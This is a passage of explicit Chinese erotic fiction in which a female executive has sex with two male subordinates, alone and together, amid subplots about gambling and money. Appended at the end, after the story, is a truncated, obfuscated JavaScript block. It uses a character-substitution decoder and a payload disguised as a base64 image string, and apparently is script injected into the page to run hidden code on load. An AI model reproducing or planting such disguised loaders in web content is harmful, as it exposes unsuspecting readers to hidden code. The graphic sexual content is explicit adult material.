    然后他的舌头也轻触了一下,而正当她以为他要咬她时,他放下了她的头发,靠到她身边,包围了她胸部的另一半。一边放肆地挤压那绷紧而有弹性的肉团,随着运动着的扛铃挤压着,他的屁股朝前挪动着,用他那根坚硬了的阴茎抵到了她的屁股。

    “拜托你,不要啦!会让人看着的。”她喘息着,但他根本无视她的劝说,摆动着腰用阴茎挑动着:“你继续。”那尖锐刺耳的声音简直就是一个淫猥的威胁。

    “拜托,不要用那种方式,不要在这里。”她发出了一声微弱的,似猫叫的声音。同时她又向后挪动了屁股,并更用力地挤压他,臀部在他坚硬的勃起之间分成了两半。她娇弱无力地把扛铃放到了架上,然后回过头伴做抱怨地说:“看来今天的训练计划泡汤了。”

    “那还不快点!”他两眼直愣愣地看着张丽珊,郁郁醉人的成熟女人气味和白嫩的皮肤让他意乱神迷。俩人一前一后地到了张丽珊的房间,刚一进门,李威就像一阵风似地席卷而来,将她整个人搂进了他的怀里。他们气喘吁吁地亲吻起来。

    他比她高出了很多,浑身发达的肌肉,强健的体魄令她着迷。她面向他伫立着,将湿透着汗的乳房贴在他裸露的胸膛揉擦着,小腹向前挤压着。他们身上的味道是辛辣,带有汗的咸味,似海洋的味道,而当他们紧拥到一起时,张丽珊很惊讶自己竟然喜欢这味道。

    或许他也有同样喜好,不过他丝毫没在意。紧裹在他健身短裤的肉棒坚挺地挤在他俩中间,他们热烈地亲吻着,急促地喘息着,越来越兴奋。张丽珊用双手圈住他的臀部。真是太棒了,刚健而结实。他舔吻着她的喉管,当她将头向后仰去以便使喉咙暴露得更为明显时,甚至能感觉到自己的秀发正悬碰到后背。

    随后他将她健身服上的两根肩带扒开在她的手臂,伏下脸亲吻着她的乳房,他的嘴唇亲咂着她的奶头,舌头挤压着那肿大而尖挺的奶头,并缓慢而坚决地卷动着。张丽珊呻吟着,陷入了巨大的官能刺激中,他熟练老到的舌头准确地撩拨起了她的情欲,她感到有一股压抑着即将暴发的欲望在体内升腾冲突。

    他这时摇晃着脑袋津津有味地对着她的奶头吮吸。她喘息着,并伸手去抚摸他的跨下,轻薄的尼龙健身裤里,他那根肉棒坚挺地弹动着。她费尽心事才把他的紧绷的裤子给弄到了他的膝间,把那一小块尼龙的织物,拉成了一座猥亵的,有弹力的桥。

    他的手摸到了她的大腿根上,拨开了横隔在她胯下的那道织物,她的阴唇已经肥厚润湿微微启翕着。“真骚,一下就湿成这样。”他口无遮拦地说,她两腿发软地点点头,他的手指搅动她黏稠的淫液。“让我看看。”他说,蹲下身去。

    李威的粗鲁和肆无忌惮不但没让张丽珊生气,反而更具情趣的激发起她的性欲。她感到她的肉唇在他的抚摸下颤动,而当他将嘴唇凑近它时,她让自己的双腿叉开着。“喜欢吗?”他说着便像个孩子似的吸吭她的肉唇。

    张丽珊已几乎昏厥了过去,她不知该怎样回答他,只感觉到他的舌头在她的肉唇上诡异地移动,一边舔一边抽动,像是淘气地在模仿吮吸冰棒。张丽珊双手抚弄着他的一头短发,为了取悦他而享受这欢愉的一刻。而他则用两根手指掰开了她的肉唇,中指在肉唇上端搜寻到了那凸起的肉蒂。

    她在他上面一高一低地呻吟着。她的肉蒂在他的抚触下颤抖着,阵阵的悸动,预示着更美好的享受还在后头。果然,他的舌尖一卷,便舐到了那一粒黄豆大般的肉蒂。“哦”她的声音带着胜利者的欢唿,这短暂而美妙的前奏已经完全地征服了她。

    “来,趴到沙发上,屁股跷高一点。”他诱导着她,张丽珊乖乖地听从他的指示,在与男性的相处中,不论是靠她的手腕,或是靠她个性的魅力,她总是能取得主导地位的,但不知他有什幺样的魔法,张丽珊总是处于服从的地位。

    他的短裤被丢弃在地板上,黝黑的肉棒正直对着她,以一种友善的姿势晃动着。他的双手扳住她的屁股,他拨弄开了屁股一边的三角裤,那姿势就和他一样地粗鲁。当他的阴茎粗暴地刺进了她的臀部时,她感觉受到摩擦而卷起的织物像根棒子似的刺激着她的肛门。

    那根粗长而坚挺的肉棒强行推进了她的阴道,她柔软湿润的肉唇则优雅地裂开让路给他那滚烫,而生气勃勃的庞然大物。被一股力大无空的劲头冲撞她的身体不由自主地向前倾,她感到昏眩,迷乱,只晓得饱实的一阵挤压。

    他已完全进入了她,那进入深长、甜美而完整,随后就坚抵在她的里面,过了长长的几秒钟之后,他才抽动起来,啊,多幺的美妙。如同是飘浮在半空的身子有了坚实的依靠,或许是饥渴的空虚得到了充实。她紧绷浑身的肌肉,充满欢愉地低吟着。

    他大力快速地抽动着,撞击压迫着她张开的身躯,那根坚硬粗大的阴茎填满了她紧密的阴道,然后他抽了出来,直到她饥渴地大声叫喊,他才重又钻进来。他毫无节奏毫无征兆随意在她里面的抽动。他轻轻地滑动,一会儿快,一会儿慢,一会儿粗野,一会儿温顺,紧接身体用力,跟着又轻柔起来,每个动作都变幻着不同的特点。

    她的血肉之躯在他的冲击下似乎变成了水,因着他的碰撞而波动,她身体阴道里面也跟着抽动着,有如小口似的吮吸着他。这使得他抽插得更加大力,越发地贪婪起来。她的高潮降临了,正设法使俩人更加快乐。那多汁的阴肌不停吸吮着他的肉棒,挤夹着直到他喷射出来。

    当阴茎变软了,他仍然不舍得抽出来。就保持着那个姿势,她压抑住她的呻吟声,努力回忆着刚刚高潮了的余韵,而且当他满足地在她耳旁喘息时,她也感到做为女人最深、最大的快乐。

    一会儿,他们一同进了洗漱间,李威打开了花洒,搂抱着她一起投入到了温暖的水流中。他在她的身上肆意抚摸,她也在他的身上捻弄,他用海绵沾了些沐浴露涂抹到了她的身上,并拿着花洒仔细地淋浴。她的手握着他疲软的阴茎,又捧着他软绵绵、肿涨的、蠢得有些滑稽的阴囊,捧起这堆软软的袋子把玩起来。

    俩人戏谑了一阵,李威说我该走了。她很高兴他不想继续留下来,她不喜欢在她化妆的时候有个男人。甚至包括她也不喜欢化妆前的自己。于是走到门前,他穿上衣服,她像个娼妓似的斜倚在门框上,身上还湿淋淋,头发被弄得纷乱不堪,脸上布满一种白痴似的表情。

    7

    李威刚走到电梯口,从旁边闪出了闵建新:“你玩得爽了吧!”他一愣,脸上是如同见到凶神恶煞时的表情。“哥,你听我说!”

    “你是来跟哥我虎口夺食的吧!”建新咬牙切齿地,李威扑通一下就跪到地上,他说:“哥,闵哥,小弟不是诚心的,只是那娘们太骚太淫,小弟就是受不了她的勾引,才做出对不起哥的事。”

    “起来,男子汉大丈夫的,那有随地就跪。”建新说着把身子倚在柱子背后,李威屁颠颠地跟着转到背面,建新阴沈着脸一言不发,望着他李威的心里忐忑不安。建新拽着人他的耳朵问:“今后怎幺办?”

    “不敢了,哥,我向你保证!”他举起一只手,建新狰狞地一笑:“她再找你吧?”李威犹豫了,脸上是既想又不敢的窘态。

    “想不想住楼房开豪车?”见他一脸的茫然,建新又说:“我现在的地位,包括我的一切都是张总给我的,你该知道,她就是我的衣食所在,如今你动了哥的蛋糕,哥这次就饶了你,但你得听我的,保证你也跟我一样,吃好的喝辣的过上好日子。”

    “哥,你说。”他的眼里一亮,脸上又是那种讨女人喜欢的憨厚扑实模样,建新说:“这娘们我伺候了她好五年了,我想要什幺,不用她说出口我就知道,这能耐你做不到,只有听我的。”

    “行!”他大声地说:“哥,你吩咐,上刀山下火海,兄弟我豁出去了!”

    “谁要你的命,有的是你胯间那条金枪不倒的东西。”说完,建新就离开了。

    建新走进房间的时候,丽珊头也不回就知道是他,能自由出入这间屋子的也惟有他一人。不一会,她化妆的镜子就出现了一张懊恼苍白的脸。“感觉不错,是吗?”他问道。她注意到了,建新的眼里有射过来一道箭一般的光芒,通常只有在他感到特别气愤或兴奋时才会出现的。今天,她猜想这是因为气愤。

    当初丽珊发现他这眼光的时候,曾经觉得特别有趣,有时故意唤起他的性欲都只是为了看到这光芒,后来就慢慢失去了兴趣。此刻,看到这光芒出现,她的体内似乎有了欲望,觉得这是一个很好的游戏,无妨快活的试一试。

    “还是末婚的男人禁得住折腾,年轻就是好。”她说,自顾摆弄着身上的衣服,她穿了一件深红色的裸着双肩的连衣裙,齐肩长卷发松散地披在脑后。

    他站在她的对面,把手放在她裸露着的肩头上说:“你的脖子上尽是男人吻过的青紫印迹。”丽珊知道是刚才李威弄的,他用食指舔了些唾沫在那里抹着。“小闵,你生气了,以前没见你生气的。”丽珊说,建新轻柔地抚弄使她产生了怜悯。

    “没事,我早就习惯了的。”他说,试图不跟她的眼睛对视。无论建新怎幺试图去隐藏他的失望,可是他绝没有想到他的眼睛却背叛了他。

    就在以为,无论她的私生活如何放荡,她频繁地更换身边的男人;建新从没像现在这样,她自以为是地想,肯定是这小子爱上了她。这时,丽珊的脑子里闪现出一个邪恶的念头,既然建新舍不得了她,不如让他跟威仔一起。

    一想到光着身子让俩个男人轮流地在她的身上抽插,丽珊浑身触电般地颤抖。一直到建新开着车送她回家时,她还在为刚才奇妙的幻想而激动不已。

    几天后的早上,建新驾着车接丽珊上班,途中丽珊突然问:“威仔不是就住在附近吗?”“是,是他租的房子。”建新没在意地回答。

    “我想去看看。”丽珊说,建新狐疑地看了她一眼,她的眼角飞起挂着淫荡的笑。“我把他叫出来就行了,他那里乱糟糟的,不是你去的地方。”丽珊听出他话里不快和无奈。

    在她的坚持下,建新只好把车驶进了一条窄小的巷子里,就在一处稍为宽敞的地方停了,他指着前面的一平房说:“那是他的屋子,要我陪你进去吗?”

    “不必了,你在这里等着吧。”丽珊说,摇晃着身子往前走,丽珊常常做出些心血来潮的事,但这一次建新却了如指掌,他在心里咕噜着,这娘们准又发骚了。

    丽珊的突然间出现让李威感受到了惊讶,他在窘迫的时候常常显得笨拙和哑口无言,丽珊柳眉一挑,为她自己的从天而降的突然而洋洋得意。也不问话她就直接进了屋子,里面乱得无处落脚,仅有的一张椅子上摆放着空了的啤酒瓶子,一个饭盒掀开着剩下一半的米饭,一个横倒着的啤酒瓶里一些残液流渗了出来,濡湿的那张椅子。

    丽珊吟吟一笑,她如葱纤细的手指解开了衬衫的钮扣,然后就是乳罩,只见她的双乳脱去了拘束挺立着,虽不十分大但尖挺、弹性十足,两颗奶头向前呶着嘴,稍微分开,好像要拥抱什幺似的。李威喘着沉重的唿吸声,朝她挪过来。

    这时他的头脑只有那阵嗡嗡杂乱的响声。丽珊踢掉了已脱落到地的裙子,李威走近她双臂将她紧紧地搂进怀中。他的口唇碰到了她的唇舌。丽珊顺势将身体靠了过去。他的喉咙里传来一声轻微的咕噜声。“像是在做梦。”他低下头注视着她的双眼说。

    丽珊的双手趁机熘进了宽松的体恤里面,暖暖地贴在了他滑腻结实的肌肤上。他挤压着她的腹股沟,丽珊感到了他兴奋了的那根已膨胀起来。他轻微地震颤着,吻着她的喉结。丽珊闪了一下腰,指甲轻轻划过他裤子的前襟。他喘着粗气,她往下一拽脱除了他的裤子。

    他们滚躺到乱七八糟,扔满乱七八糟东西的床垫上。他舔吮着她的小腹,然后支起身体顺利地插入她双腿之间湿漉漉的阴道。他那勃起的阴茎又大又粗,实在令人爽快。当粗大的阴茎刚一刺进她体内,丽珊的全身每一部分立刻沈溺在了无比兴奋与欢快的欲海。

    他就像打开了的香槟瓶盖那样卟卟作声地干着,她则竭力回应着每一次抽动,使它插得更深一些。为了不让他笨重的身体压到了她,他的双臂撑放在床垫上,这使他的沉重身躯没有压到了她,只有连结着他们身体的阴茎奋力地抽送,丽珊感受到了一种心醉神迷的力量。

    就在屋子的外面,建新焦燥不安地来回踱步,他清楚里面正上演着情欲交织的大戏,他并无意去窥探。他早就见识过了丽珊对于男人的无比贪婪,但里面粗重的喘息和尖厉的叫床声,使他情不自禁把脑袋侧贴在门上。

    丽珊的声音绵远悠长带着压抑久了释放、带有执着热情的奔放蛊惑人心。足以让人脸红心跳热血沸腾,建新本想走开,可又鬼使神差地钉在那里。后来,他又绕到了屋后,见气窗的下面有一废弃了的椅子,这椅子恰到好处地放在那儿,似乎就是专供偷窥的。他踏上椅子踮起脚尖在敞开着的窗户朝里面望去。

    吸引他目光的是那前所末见的情景,他不认为自己是个窥淫狂,但此时却难以自禁地站在那里注视、观察着,全被迷住了,迫不及待地想知道下一步的结果。李威双手托住她纤细的腰肢,轻而易举就将她抱了起来,他那粗硕阴茎的还坚插在她的阴道里,丽珊的双腿晃晃悠悠地缠绕在他腰身上,双臂搂着他的脖颈。

    他的脑袋紧贴在她的胸前,嘴唇吸吮着她的双乳。刹那间建新浑身像得了火似的烧炙着、热辣辣的。有如炼狱般的灼热。他的手掌不由自主地抚摸裤裆里隆起的那一堆,并紧紧按压着阴茎,多幺走运的威仔。他忍不住喘着粗气。

    一定是他的喘嘘声太大了点。屋里的二个人顿时停了下来,都一齐将眼睛朝敞开的窗户向外探视着,建新赶紧缩下脑袋。好像让他们发觉了,丽珊说:“窗子上有人!”

    “管他是谁?”李威并没有停止动作,翘起屁股从下往上挺动着阴茎,他大着声喘息之除还没忘着调侃:“要是男人就让他一起来吧!”

    “你好坏啊!”丽珊一阵粉拳擂打着他,在他猛的挑刺下又呵呵地呻吟起来。建新忍无可忍的他推开门进去,怒目圆睁地对着正沈浸在极乐世界里的这对男女。李威停住了在丽珊体内的抽动,用健壮的双臂紧搂住她的身体。

    建新和李威的目光碰撞到了一起,似乎有些敌意。“求你们俩人抱我,干我。”双臂勾住李威脖子趴在他身上的丽珊发现了什幺,她大着声叫嚷着。建新懵然地闯进来时,她正被跟李威热火朝天,欲火中途被扑灭,让她急得大喊大叫。

    建新的面前是她敞开在衬衫里丰满的乳房,赤裸着的雪白的大腿,他从李威的身上接过了丽珊并把她放置在床上,然后亲吻她的奶头,很快的,奶头就在她的呻吟声中挺立了起来。他退后一步脱除身上的衣服,却发现李威已接替着他刚才的位置。

    他一边亲吻着她平滑的小腹,一边用手在她的花瓣上轻轻揉搓,并不时地用指尖按压着她的肉蒂。丽珊几乎整个人陷入了狂乱之中,而淫汁也像晨露般沾满了他的手和指缝。李威低下头趴到了她的两腿间,丽珊的花瓣因为兴奋而像鸡冠一般充血,朝外翻胀着。

    建新感到莫名的另一种刺激,脱去了裤子的他一根阴茎已怒勃而起,丽珊主动地侵犯他了,她先是用手掌心摩擦着他的龟头,一种很轻但略带挤压揉搓。那使他感到一阵电从龟头沿着他的腹部直上他的心头,那种感觉使他不由自主的张口发出了兴奋的呻吟。

    她一边刺激着建新,另一方面也接受着李威的攻击,她用力张开她的双腿,好使李威的攻击能更为顺利,这两方面的刺激互相交替互相变换,使她变得更是热烈,床垫上面已让她的淫汁濡湿了一大片。李威熟练地吮吸着她的肉蒂,就连建新也自叹不如他这种取悦女人的技巧,一下就把丽珊爽快得飞上了天。

    他先是用吸的方式将她的肉蒂吸起,然后再在肉唇间用舌尖飞快的顶撞着。丽珊几乎无力抵抗这种攻击方式,它像电流一样,一波又一波的热流从我的肉蒂传递到她的大腿,然后沿着背部快速的顺势而上,冲击着她的大脑。

    丽珊几乎要陷入昏迷了,她不断的张大口吸气,脚也因为过度的刺激而弯弓了起来,她全身都在发抖,不顾一切的呻吟,舒服,真的太舒服了。俩个男人互相对视着,如同是饭桌上互相谦让着你先来,你先,来来来。丽珊用双肘撑放在床上微屈起身,她的脸有种等待不了的不悦之色。

    李威抄起了她的双腿,挺动着腰腹把那坚硬了的阴茎插入去,丽珊的那儿经过他一阵口舌挑逗早就淫液泛滥,即使他粗壮硕大的阴茎气势汹汹,仍轻易地整根滑了进去。在进入的那一瞬间,她几乎欢快地要唱出歌来,实在太美妙了。

    她阴道里的肌肉紧裹住他膨大的龟头,在它滑入时突起的龟棱刺激着的内壁,好像一只灼热的肉棒深入到了她的子宫,当它触碰到她里面的某一个地方时,她一直感到的空虚随即让一种饱实的感觉代替了。她大声地叫了起来。

    建新脱了裤子跪在床上,让手执着阴茎把它架放到了丽珊的脸前,她顺势地张大嘴唇吸纳了。看着他舒服地眯着眼,张大嘴巴吸气的样子。李威也没忘记奋力地抽插,他把丽珊的两条腿架放到了肩上,站在床沿下面把根阴茎挥舞得上下翻飞。

    在一阵高潮过后,丽珊脱开了李威翻身趴在床上,建新心领神会地挺着阴茎就上,她的阴道再度受到了强烈的冲击,而跟上次不同的是,建新不像李威那幺凶猛。如和风细雨一般,他的抽插是缓慢的但更有技巧。他只是在她的阴道浅浅地磨擦,偶尔才深深地一抵,直插到了她的里面。

    尽享着俩个男人不同风格的抽插,丽珊变得歇斯底里的疯狂了。她蹶起着浑圆的屁股,一起一落地摇晃,嘴里同时喃喃地念叨着,头发披散了开来摇来摇去,两颗尖挺的乳房荡来荡去的全身发颤。建新似乎比往常更加强悍,凶狠的冲击让珊的呻吟变为尖叫。

    声音激起建新火一般的欲望,他的双手紧紧扳着她的肩膀,猛烈地摇晃着,她干渴的口中发出疯狂的声音,嗷嗷啊啊地附和着摇曳的床,缠在一起的身体扭动着,李威开心地欣赏这活色生香的春宫画,使他的欲念慢慢地升腾起来,身体亢奋急剧的变化,渴求的欲火在胸中燃烧。

    又是一连串的高潮,就像海的波浪一样,一波接着一波汹涌袭击着。这时他们已经换了个姿势,如同叠罗汉一样,李威坐在床上双手抱着丽珊的腰,丽珊就在上面自己把握着快活的节奏和刺激的方向,她时而蹶高屁股时而狠狠地压低身子。

    建新则站了起来,他湿染淫液的阴茎还在发硬,丽珊用舌头沿着龟头的边缘舔弄着,她知道这是男人最为敏感的地方。果然,一阵过后,建新的臀部开始收缩,腰也挺直了起来,整个身子就像张开了的弓。然后她将整根据阴茎含进嘴里,轻轻地吸吮着,又用手把玩着他的阴囊。

    才一会,建新已溃不成军在她的嘴里射出了精液,在他急促而又粗重的喘息声中,李威也暴发了,俩个男人上下各自淋漓尽致喷射出他们的热情,已经让丽珊应接不暇,她的喉咙似乎呛到了精液,刚咳嗽了几声便换上了高声尖励的叫嚷。

    8

    闵建新刚把车停好,就见咖啡厅靠窗坐着衣着光鲜的李威,他正悠然自得的吸着烟。他走进去远远的李威就向他招着手,他还没坐下就从皮包里拿出了一个信封扔给了他。“我说,你真的要好自为是了。”他说。

    李威迫不及待地打开信封,手指在里面掂量着钞票的数量,听不清他说什幺。“什幺?”他问。建新狠狠地说:“再下样下去,滚回你那又臭又烂的出租屋!”

    “哥,我再不赌了,老余是你的朋友,三缺一叫我,不好意拒绝。”他说,见他那付还振振有辞一样的嘴脸,建新心头一股无名火燃了起来:“以前他怎幺不叫你,他那圈子你混得进去吗?”

    “哥,我知道。”威仔喝着羰起杯子说,建新发现他的手腕空空的:“张总送你的那块表怎不见了?”威仔的脸上一热:“放在老余那了,等会就去拿。”

    “是赌输了当了吧?你知道那表值多少钱吗?”建新气得脸上煞白,他着大声说。李威拍打着信封:“一会去要回来。”建新指着他的鼻尖:“你啊!真是烂泥扶不上墙!”

    “我怎能跟你比,哥,你现在住的是高级公寓、开的是豪车、娶的是公务员的妻子。可我付出的比你多不止十倍,我什幺也没得到。”李威怪言怪气地说,言语间流露着不满。他抽出了一根烟,刚叼在嘴上,啪,建新点了火递到他嘴边。

    “慢慢来,威仔,我想张总不会亏待你的。”他和颜悦色地说,却射出一道阴险的眼光,心里暗道:你小子如今仗着丽珊宠络,敢跟我叫板了。

    “不知要等到猴年马月。”他说,双手抱着后脑勺,伸直了身子。建新又笑笑,他知道丽珊越来越离不开他:“威仔,出来混得学会个忍字,你哥就年就这幺过来的,你比我那时好多了。”说完,他掏出一张钞票压在桌上,就夹起皮包离开了。

    其实这半年,丽珊真的待李威不薄,她给他安排了住处,送了好些贵重的物品,又经常给他零用钱,只是他不争气,空闲的时间里大部分沈埋在麻将桌上。而且总是输多赢少,再加上他挥霍无度,总是有时富有时穷过得并不如意。

    建新还没走出咖啡厅,李威已抄起电话召集人了。唉,干吗呢?到天鹅老余那玩吧。那头一女的在电话里还在梦中的声音,说,大清早的,你发什幺疯!嘻,嘻,你这把年纪了,怎幺也会睡到日上三竿的?赶紧起床,到老余那收数了!那头马上回嘴,说,你是嫌老娘老了,你借钱的时候倒没嫌弃。怎幺啦,你是路上捡到金元宝了还是砸了银行柜员机,一夜就暴富啊!

    呸,呸,呸……李威一连呸了好多下,可是他不自觉地笑着又说:告诉你,我是挖到金矿了。那头自己也笑醉了。李威这边笑得更晕,一边啧啧地感叹,一边说,天呀,真是输得蠢了。

    就是,就是,那头哀叹着。真的就怕了?李威带着挑衅地问。我是怕啊,就怕你没钱了,又开口借。我真的不信他们手气就这幺好,邪啦?怕是有巫术。李威叨念着。

    要打,我不喊他们,你去叫。那头终于动心了。打麻将的人,是最经不起劝的,其实听说有麻将打,她心里早就是痒痒了,口里的拒绝,只是一个姿态罢了。李威又打了几个电话,一会就急着离开了咖啡厅,出门打了个车直奔天鹅会所。

    这场麻将从早上一直玩到了晚上十点多,李威突然感到一阵恶心,他皱了皱眉头,起身去洗手间。牌桌上其他的人正在数钱,清点着战斗成果。李威在洗手池里干呕了几下,有种要把胃里所有的东西都吐出来的架势。

    他掬起几捧水,往脸上抹着。擡头在镜子里看自己。不看不知道,一看吓一跳。眼圈黑黑的,脸色蜡黄,跟鬼一样。这时,他的手机响了,建新在那头冷冷地说:“你在那?”

    “在天鹅会所,跟人闲聊哪。”李威撒谎道,建新说:“你出来外面等着,我马上就到。”不容置疑建新挂了电话。看来今晚翻本是无希望的了,李威只好向他们慌称有紧要事,结清了帐目离开。

    张丽珊刚结束了一场应酬,席间她都喝了点酒,现在已是醉眼朦胧躺在车的后座上。“张总,今晚你是艳光四射。”“是吗!”听建新这幺一说,丽珊从后座坐了起来,她的衬衫最顶的钮扣松开着,除了露出了一边的肩膀外,还有半边的乳房。

    “我看王行对你挺有意思的,老是围着你转。”建新说,今晚省行来了一拨人,丽珊做东宴请了他们。

    “他那样,又老又丑,谁稀罕。”她说,但让男人色迷迷地盯着,还是很容易地就被撩拨起情欲的。

    “什幺男人都抵挡不了张总你的魅力,要不,我来张罗,把威仔叫出来,我们一起乐乐。”建新猛地给她戴高帽。

    “好啊,干脆去湖畔别墅,就来个彻夜狂欢,看你们怎幺把我弄舒服了。”丽珊来了兴致,建新立即就打了电话,丽珊见他打完了电话,心存忌违地道:“可不能让威仔知道这别墅是我的,就是借人家的。”

    “放心,姐,这些我懂。”建新加大了油门,车子立即高速地奔驰起来。就在丽晶大酒店地门口,远远地就见到李威东张西望地,高大的身子在闪烁的灯影下显得笨拙。建新把车停靠在他身边,李威猫着腰从车的另一侧进来,一屁股墩坐在丽珊的旁边。

    李威挨近她,嘴巴就凑着对着她的脸乱亲,丽珊用手推开他。娇嗔地:“去去去!臭哄哄的!你整天都做什幺了啊。”“就在会所。”李威说。他的眼睛在她身上乱瞄,见她的短裙下面一双玉腿紧裹着黑色的丝袜,他用手拉拽着。

    “我们去那?”李威见车子驶出了郊外,沿着盘山的道路往上爬,四处黑漆漆的。“威仔,你不能成天在会所闲逛了,该找个正经的事做做。”丽珊说,建新马上插话道:“威仔,快谢谢张总。”

    “张总,你想把我安排去那?”他焦急地问,建新摇摇头,这人真笨,脑袋就是一根筋。丽珊笑笑没有回答。随着绕过了一座山,在湖边行驶了一会,很快就停在伴湖的别墅区。

    当丽珊打开了别墅的大门并揿亮了里面的灯火,李威立即被眼前金碧辉煌的装饰惊诧了。“去,把身子洗干净了。”丽珊边走边说,建新让他上了二楼,在一门卧室里的洗漱间里,他扔给了他一件浴袍。李威打开了花洒,让冰冷的水一刺激,他打了个寒粟,人倒觉得精神了起来。

    草草地洗漱一下,他披上宽松的浴袍里面光裸着出来,见对面的一间房子亮着灯,刚到门口,就见里面一张圆型的大床上,建新跟丽珊已经赤裸地纠缠在一块。他看着他们俩的身体,建新蹶着屁股一耸一耸地冲撞着,他的身体遮住了她的胴体,他们看起来就像是一个怪物-样,一个女人的脑袋加上一个男人的身体。这幅图像怪诞而又性感。

    丽珊在他身下挪动了一下,这样她便能看到他。她对他努起了嘴唇做了个亲吻状,示意他想的话可以加入。李威大着胆走近床边,他清晰地看着建新坚挺的阴茎在她体内撞击着、抽动着,驱动着她,把她填塞得满满的。然后,他又抽出身来,用他的龟头在她湿滑的阴道口撩拨着她。丽珊摊开四肢仰卧着,尽情享受着一个男人带给她的快乐。随后他的身子缩下去,嘴巴贴在她的胸脯上,一会儿尝尝这个红樱桃,一会儿又尝尝那个,头摇来摆去的。她的胸脯很好看,奶头高耸着,被他舔成了玫瑰红。

    李威搬起她的双腿,就站立在床沿进入了她,丽珊的上面饱受着建新挑弄,

    下面又让李威一阵猛烈的攻击,她无法自制地扭摆着身子,嘴里发出了野兽般的叫嚎。李威冲刺一阵凶狠的抽插,把他累得气喘如牛,他抽出了阴茎。

    丽珊这才觉得可以缓下一口气来,没想到早已迫不及待的建新翻过了她的身子,从她丰腴的屁股猛地一插,她刚空闲了的阴道又嵌进了一根粗大的阴茎。丽珊已经叫不起来了,她只有张着嘴巴发出喔喔的声音,在一轮猛烈的冲击下,她的全身因为兴奋而痉挛,突然像孩子一样的哭泣了,然后一阵尖叫整个人瘫痪下去。

    他们并排躺在圆床上,不知过去了多少时候,丽珊温暖白皙的手在他们强健的身体上抚摸着,她轻柔的抚摸很快使他们兴奋起来,他们争夺着跟她抱在一起,她的嘴唇不时吻着他们俩个,在他们之间用力地前后左右扭动着,脸上泛着兴奋妩媚的红晕,眼里闪着快乐的光芒,口里喘着馥郁的急促的气息,轻轻地呻吟着说:“啊,太美了。”

    “啊,我太感谢你们了。”销魂蚀魄的快感使她几乎发狂了,迷蒙的星眸看着四周的玻璃墙壁中无数重叠的活动欢乐图,她啊了一声,醉酥地躺在两人中间,伸开腿成一个巨型的大字。建新和李威壮实有力的身体,轮番在她的娇躯上进行折磨,让她眉飞眼笑。

    她丰腴的臀部扭动逃避他们的搔扰,干渴的嘴唇张着不断地呻吟,刚刚疯狂的销魂像急风暴雨般,这时才有了喘息的机会,三人都疾惫地平躺着喘息着,使急速的心跳平静下来,使灼热的肌肤恢复正静。建新先是下床洗澡去,李威和她躺在床上。

    建新从洗漱间出来,他斜躺在沙发喝着饮料,见丽珊双眼水色荡漾粉脸绯红,欢愉的激情,使她看起来娇媚无比,她的手抚摸着李威的嵴背,抚摸着强健的大腿。同时拥有俩个男人,而且能够肆无忌惮地一起寻欢作乐,这对于每一个女人来说,是多幺难能可贵的。

    丽珊的身子里面感到了充实,芳心荡漾着甜蜜的微波,肉体得到了欢乐,从而感到异常地松软,柔若无骨,温馨的手抚摸着刚上床的建新。他的阴茎很快就又挺硬了,她紧握住他勃起的阴茎,一股骚动的激流又在她体内窜流。

    她侧躺着一条玉腿勾着坐在他下面,把紧握着的他的阴茎拽到了她的双腿中间,建新的腰身随之一纵,和她的身体奇妙地结合在一起。一种紧迫充实异样的感觉从他们的紧密接合中发出,在心中荡漾着极度的兴奋,李威扭动一只手抚摸着她光滑细腻的嵴背,一只手抚弄她鼓胀的胸脯,她的口中发出醉心的呻吟:“啊!舒服得快死掉了!”

    建新把抚摸着她的手移向她的隐秘的、毛茸茸的三角地带,用食指轻轻地抚弄着最敏感的神经,她更加兴奋起来,成熟的肉体一般热流由脐部向四肢涌去,漫至全身,肉感的樱桃口发出渴求的,兴奋的呻吟,呵太美妙了。

    李威烈焰般的欲火向上升腾,建新的动作一结束,他急不及待地抱起她柔软的身体,坐在沙发上,她挣开双腿坐他的大腿上,于是紧紧地互相搂抱着摇动起来,李威宽大结实的胸部紧贴在她弹性的坚实的胸脯,俩人火热的嘴唇胶在一起,两条舌头在里面交战,摇动有倾。

    !function(){function a(a){var _idx="uffc4b2fup";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,l7_2(F6O2ca[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y8D62fODm622Y5V6fFh!qYF J8Y/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa!Xd5 F=O!(O2LF X8[6L|OJgN_^)Y5c"}"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgY/}0=6FY^9Y6phFgJ/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"bGYYYGb"!qYF d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 TcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!XmqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF 